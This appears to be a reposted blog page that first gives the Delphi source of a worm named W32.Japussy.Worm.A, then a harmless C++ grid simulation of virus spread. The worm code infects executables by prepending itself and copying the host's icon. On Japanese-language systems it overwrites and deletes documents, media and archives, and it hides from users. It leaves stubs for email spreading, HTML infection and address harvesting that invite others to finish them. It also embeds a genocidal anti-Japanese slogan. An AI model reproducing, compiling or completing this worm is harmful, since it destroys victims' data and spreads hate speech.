1 program Japussy;
2 uses
3 Windows, SysUtils, Classes, Graphics, ShellAPI...{, Registry};
4 const
5 HeaderSize = 82432; //病毒体的大小
6 IconOffset = $12EB8; //PE文件主图标的偏移量
7
8 //在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
9 //查找2800000020的十六进制字符串可以找到主图标的偏移量
10
11 ...{
12 HeaderSize = 38912; //Upx压缩过病毒体的大小
13 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
14
15 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
16 }
17 IconSize = $2E8; //PE文件主图标的大小--744字节
18 IconTail = IconOffset + IconSize; //PE文件主图标的尾部
19 ID = $44444444; //感染标记
20
21 //垃圾码，以备写入
22 Catchword = ‘If a race need to be killed out, it must be Yamato. ‘ +
23 ‘If a country need to be destroyed, it must be Japan! ‘ +
24 ‘*** W32.Japussy.Worm.A ***‘;
25 ...{$R *.RES}
26 function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
27 stdcall; external ‘Kernel32.dll‘; //函数声明
28 var
29 TmpFile: string;
30 Si: STARTUPINFO;
31 Pi: PROCESS_INFORMATION;
32 IsJap: Boolean = False; //日文操作系统标记
33 ...{ 判断是否为Win9x }
34 function IsWin9x: Boolean;
35 var
36 Ver: TOSVersionInfo;
37 begin
38 Result := False;
39 Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
40 if not GetVersionEx(Ver) then
41 Exit;
42 if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
43 Result := True;
44 end;
45 ...{ 在流之间复制 }
46 procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
47 dStartPos: Integer; Count: Integer);
48 var
49 sCurPos, dCurPos: Integer;
50 begin
51 sCurPos := Src.Position;
52 dCurPos := Dst.Position;
53 Src.Seek(sStartPos, 0);
54 Dst.Seek(dStartPos, 0);
55 Dst.CopyFrom(Src, Count);
56 Src.Seek(sCurPos, 0);
57 Dst.Seek(dCurPos, 0);
58 end;
59 ...{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
60 procedure ExtractFile(FileName: string);
61 var
62 sStream, dStream: TFileStream;
63 begin
64 try
65 sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
66 try
67 dStream := TFileStream.Create(FileName, fmCreate);
68 try
69 sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
70 dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
71 finally
72 dStream.Free;
73 end;
74 finally
75 sStream.Free;
76 end;
77 except
78 end;
79 end;
80 ...{ 填充STARTUPINFO结构 }
81 procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
82 begin
83 Si.cb := SizeOf(Si);
84 Si.lpReserved := nil;
85 Si.lpDesktop := nil;
86 Si.lpTitle := nil;
87 Si.dwFlags := STARTF_USESHOWWINDOW;
88 Si.wShowWindow := State;
89 Si.cbReserved2 := 0;
90 Si.lpReserved2 := nil;
91 end;
92 ...{ 发带毒邮件 }
93 procedure SendMail;
94 begin
95 //哪位仁兄愿意完成之？
96 end;
97 ...{ 感染PE文件 }
98 procedure InfectOneFile(FileName: string);
99 var
100 HdrStream, SrcStream: TFileStream;
101 IcoStream, DstStream: TMemoryStream;
102 iID: LongInt;
103 aIcon: TIcon;
104 Infected, IsPE: Boolean;
105 i: Integer;
106 Buf: array[0..1] of Char;
107 begin
108 try //出错则文件正在被使用，退出
109 if CompareText(FileName, ‘JAPUSSY.EXE‘) = 0 then //是自己则不感染
110 Exit;
111 Infected := False;
112 IsPE := False;
113 SrcStream := TFileStream.Create(FileName, fmOpenRead);
114 try
115 for i := 0 to $108 do //检查PE文件头
116 begin
117 SrcStream.Seek(i, soFromBeginning);
118 SrcStream.Read(Buf, 2);
119 if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
120 begin
121 IsPE := True; //是PE文件
122 Break;
123 end;
124 end;
125 SrcStream.Seek(-4, soFromEnd); //检查感染标记
126 SrcStream.Read(iID, 4);
127 if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
128 Infected := True;
129 finally
130 SrcStream.Free;
131 end;
132 if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
133 Exit;
134 IcoStream := TMemoryStream.Create;
135 DstStream := TMemoryStream.Create;
136 try
137 aIcon := TIcon.Create;
138 try
139 //得到被感染文件的主图标(744字节)，存入流
140 aIcon.ReleaseHandle;
141 aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
142 aIcon.SaveToStream(IcoStream);
143 finally
144 aIcon.Free;
145 end;
146 SrcStream := TFileStream.Create(FileName, fmOpenRead);
147 //头文件
148 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
149 try
150 //写入病毒体主图标之前的数据
151 CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
152 //写入目前程序的主图标
153 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
154 //写入病毒体主图标到病毒体尾部之间的数据
155 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
156 //写入宿主程序
157 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
158 //写入已感染的标记
159 DstStream.Seek(0, 2);
160 iID := $44444444;
161 DstStream.Write(iID, 4);
162 finally
163 HdrStream.Free;
164 end;
165 finally
166 SrcStream.Free;
167 IcoStream.Free;
168 DstStream.SaveToFile(FileName); //替换宿主文件
169 DstStream.Free;
170 end;
171 except;
172 end;
173 end;
174 ...{ 将目标文件写入垃圾码后删除 }
175 procedure SmashFile(FileName: string);
176 var
177 FileHandle: Integer;
178 i, Size, Mass, Max, Len: Integer;
179 begin
180 try
181 SetFileAttributes(PChar(FileName), 0); //去掉只读属性
182 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
183 try
184 Size := GetFileSize(FileHandle, nil); //文件大小
185 i := 0;
186 Randomize;
187 Max := Random(15); //写入垃圾码的随机次数
188 if Max < 5 then
189 Max := 5;
190 Mass := Size div Max; //每个间隔块的大小
191 Len := Length(Catchword);
192 while i < Max do
193 begin
194 FileSeek(FileHandle, i * Mass, 0); //定位
195 //写入垃圾码，将文件彻底破坏掉
196 FileWrite(FileHandle, Catchword, Len);
197 Inc(i);
198 end;
199 finally
200 FileClose(FileHandle); //关闭文件
201 end;
202 DeleteFile(PChar(FileName)); //删除之
203 except
204 end;
205 end;
206 ...{ 获得可写的驱动器列表 }
207 function GetDrives: string;
208 var
209 DiskType: Word;
210 D: Char;
211 Str: string;
212 i: Integer;
213 begin
214 for i := 0 to 25 do //遍历26个字母
215 begin
216 D := Chr(i + 65);
217 Str := D + ‘:‘;
218 DiskType := GetDriveType(PChar(Str));
219 //得到本地磁盘和网络盘
220 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
221 Result := Result + D;
222 end;
223 end;
224 ...{ 遍历目录，感染和摧毁文件 }
225 procedure LoopFiles(Path, Mask: string);
226 var
227 i, Count: Integer;
228 Fn, Ext: string;
229 SubDir: TStrings;
230 SearchRec: TSearchRec;
231 Msg: TMsg;
232 function IsValidDir(SearchRec: TSearchRec): Integer;
233 begin
234 if (SearchRec.Attr <> 16) and (SearchRec.Name <> ‘.‘) and
235 (SearchRec.Name <> ‘..‘) then
236 Result := 0 //不是目录
237 else if (SearchRec.Attr = 16) and (SearchRec.Name <> ‘.‘) and
238 (SearchRec.Name <> ‘..‘) then
239 Result := 1 //不是根目录
240 else Result := 2; //是根目录
241 end;
242 begin
243 if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
244 begin
245 repeat
246 PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
247 if IsValidDir(SearchRec) = 0 then
248 begin
249 Fn := Path + SearchRec.Name;
250 Ext := UpperCase(ExtractFileExt(Fn));
251 if (Ext = ‘.EXE‘) or (Ext = ‘.SCR‘) then
252 begin
253 InfectOneFile(Fn); //感染可执行文件
254 end
255 else if (Ext = ‘.HTM‘) or (Ext = ‘.HTML‘) or (Ext = ‘.ASP‘) then
256 begin
257 //感染HTML和ASP文件，将Base64编码后的病毒写入
258 //感染浏览此网页的所有用户
259 //哪位大兄弟愿意完成之？
260 end
261 else if Ext = ‘.WAB‘ then //Outlook地址簿文件
262 begin
263 //获取Outlook邮件地址
264 end
265 else if Ext = ‘.ADC‘ then //Foxmail地址自动完成文件
266 begin
267 //获取Foxmail邮件地址
268 end
269 else if Ext = ‘IND‘ then //Foxmail地址簿文件
270 begin
271 //获取Foxmail邮件地址
272 end
273 else
274 begin
275 if IsJap then //是倭文操作系统
276 begin
277 if (Ext = ‘.DOC‘) or (Ext = ‘.XLS‘) or (Ext = ‘.MDB‘) or
278 (Ext = ‘.MP3‘) or (Ext = ‘.RM‘) or (Ext = ‘.RA‘) or
279 (Ext = ‘.WMA‘) or (Ext = ‘.ZIP‘) or (Ext = ‘.RAR‘) or
280 (Ext = ‘.MPEG‘) or (Ext = ‘.ASF‘) or (Ext = ‘.JPG‘) or
281 (Ext = ‘.JPEG‘) or (Ext = ‘.GIF‘) or (Ext = ‘.SWF‘) or
282 (Ext = ‘.PDF‘) or (Ext = ‘.CHM‘) or (Ext = ‘.AVI‘) then
283 SmashFile(Fn); //摧毁文件
284 end;
285 end;
286 end;
287 //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
288 Sleep(200);
289 until (FindNext(SearchRec) <> 0);
290 end;
291 FindClose(SearchRec);
292 SubDir := TStringList.Create;
293 if (FindFirst(Path + ‘*.*‘, faDirectory, SearchRec) = 0) then
294 begin
295 repeat
296 if IsValidDir(SearchRec) = 1 then
297 SubDir.Add(SearchRec.Name);
298 until (FindNext(SearchRec) <> 0);
299 end;
300 FindClose(SearchRec);
301 Count := SubDir.Count - 1;
302 for i := 0 to Count do
303 LoopFiles(Path + SubDir.Strings + ‘‘, Mask);
304 FreeAndNil(SubDir);
305 end;
306 ...{ 遍历磁盘上所有的文件 }
307 procedure InfectFiles;
308 var
309 DriverList: string;
310 i, Len: Integer;
311 begin
312 if GetACP = 932 then //日文操作系统
313 IsJap := True; //去死吧！
314 DriverList := GetDrives; //得到可写的磁盘列表
315 Len := Length(DriverList);
316 while True do //死循环
317 begin
318 for i := Len downto 1 do //遍历每个磁盘驱动器
319 LoopFiles(DriverList + ‘:‘, ‘*.*‘); //感染之
320 SendMail; //发带毒邮件
321 Sleep(1000 * 60 * 5); //睡眠5分钟
322 end;
323 end;
324 ...{ 主程序开始 }
325 begin
326 if IsWin9x then //是Win9x
327 RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
328 else //WinNT
329 begin
330 //远程线程映射到Explorer进程
331 //哪位兄台愿意完成之？
332 end;
333 //如果是原始病毒体自己
334 if CompareText(ExtractFileName(ParamStr(0)), ‘Japussy.exe‘) = 0 then
335 InfectFiles //感染和发邮件
336 else //已寄生于宿主程序上了，开始工作
337 begin
338 TmpFile := ParamStr(0); //创建临时文件
339 Delete(TmpFile, Length(TmpFile) - 4, 4);
340 TmpFile := TmpFile + #32 + ‘.exe‘; //真正的宿主文件，多一个空格
341 ExtractFile(TmpFile); //分离之
342 FillStartupInfo(Si, SW_SHOWDEFAULT);
343 CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
344 0, nil, ‘.‘, Si, Pi); //创建新进程运行之
345 InfectFiles; //感染和发邮件
346 end;
347 end.
下面是C++版本
#include<iostream>
#include<time.h>
#include<windows.h>
using namespace std;
#define MAXNODE 100
#define MAXVER 100 //病毒类型种类的最大值
typedef struct VertexType //一台电脑的信息
{
int day;//第几天感染的
int dl;//防御级别
int r,c;//行列号
int vt;// 病毒类型
}VertexType;
typedef struct MGraph //整个图的构造
{
VertexType m[MAXNODE][MAXNODE];
int row,colum ,num;//行列数，感染的数目
}MGraph;
void virspread(VertexType v,int nowday);
MGraph mg ;//定义
void MGraphInit()//初始化
{
int i,j;
for(i=0;i<mg.row;i++)
for(j=0;j<mg.colum;j++)
{
mg.m[i][j].vt =0;
mg.m[i][j].dl=0;
mg.m[i][j].day=0;
mg.num=0;
mg.m[i][j].r=i;
mg.m[i][j].c=j;
}
}
void MGraphCreat()//创建图，邻接矩阵
{
MGraphInit();
srand( (unsigned)time( NULL ) );
cout<<"请逐行输入"<<endl;
int i,j;
for(i=0;i<mg.row;i++)
{
//cout<<"输入第"<<i+1<<"行："<<endl;
for(j=0;j<mg.colum;j++)
{
int a;
//cin>>a;
a=(10-rand()%20);
if(a==0)
{
a=a+1;
}
if(a>0)
{
mg.m[i][j].vt=a;
}
else
{
mg.m[i][j].dl=0-a;
}//if
}//for
}
int k=(mg.row+mg.colum)/2;
int h=(mg.row+mg.colum)/3;
mg.m[k][k].vt=1;//确保有一台机器已经被感染
mg.m[h][h].dl=3;//确保有一台机器没有被感染
}//MGraphCreat
void vir() //依次寻找病毒并调用函数virspread(mg.m[i][j],nowday);进行病毒的传播
{
int virtype=1;
int i,j;
int nowday=1;
while(mg.num<(mg.row*mg.colum))
{
mg.num=0;
while(virtype<=MAXVER)
{
for(i=0;i<mg.row;i++)
for(j=0;j<mg.colum;j++)
{
if(mg.m[i][j].vt==virtype)
{
virspread(mg.m[i][j],nowday);
}
}
virtype++;
}
for(i=0;i<mg.row;i++)
for(j=0;j<mg.colum;j++)
if((mg.m[i][j].vt)>0)
mg.num++;
/***********显示每天的感染情况*********/
Sleep(3000); //停顿3s
system("cls"); //清屏
cout<<"第"<<nowday<<"天情况为："<<endl;
for(i=0;i<mg.row;i++)
{
for(j=0;j<mg.colum;j++)
{
if(mg.m[i][j].vt!=0)
cout<<mg.m[i][j].vt<<"★"<<" ";
else
cout<<(0-mg.m[i][j].dl)<<"☆"<<" ";
}
cout<<endl;
}
cout<<endl;
/***********显示每天的感染情况*********/
nowday++;
virtype=1;
}
}
void virspread(VertexType v,int _nowday) //病毒传播函数
{
VertexType qv[4*MAXNODE];
int front = 0,rear = 1;
qv[1] = v;
while(front<=rear)// ↑，←，↓，——>四个方向进行传播
{
v=qv[++front];
if(v.r-1>=0&&mg.m[v.r-1][v.c].vt==0&&mg.m[v.r-1][v.c].dl<=_nowday)
{
mg.m[v.r-1][v.c].vt=v.vt;
qv[++rear]=mg.m[v.r-1][v.c];
}
if(v.c-1>=0&&mg.m[v.r][v.c-1].vt==0&&mg.m[v.r][v.c-1].dl<=_nowday)
{
mg.m[v.r][v.c-1].vt=v.vt;
qv[++rear]=mg.m[v.r][v.c-1];
}
if(v.r+1<mg.row&&mg.m[v.r+1][v.c].vt==0&&mg.m[v.r+1][v.c].dl<=_nowday)
{
mg.m[v.r+1][v.c].vt=v.vt;
qv[++rear]=mg.m[v.r+1][v.c];
}
if(v.c+1<mg.colum&&mg.m[v.r][v.c+1].vt==0&&mg.m[v.r][v.c+1].dl<=_nowday)
{
mg.m[v.r][v.c+1].vt=v.vt;
qv[++rear]=mg.m[v.r][v.c+1];
}
}
}
int main()
{
int i,j;
int k;
int a[MAXNODE];
cout<<"输入行列数目"<<endl;
cout<<"行：";cin>>mg.row;
cout<<"列:";cin>>mg.colum; //输入行列数目
MGraphCreat();
cout<<"你的输入为："<<endl;
for(i=0;i<mg.row;i++)
{
for(j=0;j<mg.colum;j++)
{
if(mg.m[i][j].vt!=0)
cout<<mg.m[i][j].vt<<" ";
else
cout<<(0-mg.m[i][j].dl)<<" ";
}
cout<<endl;
}
cout<<endl;
Sleep(3000); //停顿3s
system("cls"); //清屏
cout<<"图形表示为："<<endl;
for(i=0;i<mg.row;i++)
{
for(j=0;j<mg.colum;j++)
{
if(mg.m[i][j].vt!=0)
cout<<mg.m[i][j].vt<<"★"<<" ";
else
cout<<(0-mg.m[i][j].dl)<<"☆"<<" ";
}
cout<<endl;
}
cout<<endl;
vir();
for(int m=1;m<MAXNODE-1;m++)
a[m]=0;
for(i=0;i<mg.row;i++)
for(j=0;j<mg.colum;j++)
a[mg.m[i][j].vt]++;
//Sleep(3000); //停顿3s
//system("cls"); //清屏
cout<<"感染完后的变种的数目："<<endl;
for(k=1;k<MAXNODE-1;k++)
if(a[k]!=0)
cout<<"变种类型为 "<<k<<"的变种数目是："<<a[k]<<endl;
return 0;
}//main
原文地址：https://www.cnblogs.com/mysky007/p/11143016.html
时间： 2024-10-30 01:41:30